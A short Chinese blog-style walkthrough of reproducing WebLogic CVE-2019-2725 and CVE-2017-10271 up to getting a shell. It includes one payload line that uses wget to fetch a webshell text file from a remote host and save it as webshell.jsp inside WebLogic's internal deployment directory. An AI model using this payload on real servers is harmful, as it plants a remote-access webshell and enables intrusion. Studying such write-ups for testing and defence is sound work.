本文复现了weblogic的Weblogic CVE-2019-2725和Weblogic CVE-2017-10271两个漏洞，从批量扫描到Getshell的整个过程。主要侧重如何构造Payload去GetShell（所以扫描工具和命令执行的截图是网图），批量扫描和命令执行直接找weblogic在github的几款工具即可。在这里就不分享了，只分享payload请求代码。
有问题可以留言。

这里用到远程调用木马，需要先找个可以上传txt文件的地方，一般很容易，能访问就行
如下可见在调用webshell.txt后直接生成webshell.jsp文件，weget地址需要根据自身情况更改
<string>wget http://192.168.43.4:7001/bea_wls_internal/webshell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp</string>
修改目标IP、端口、payload部分内容如下图
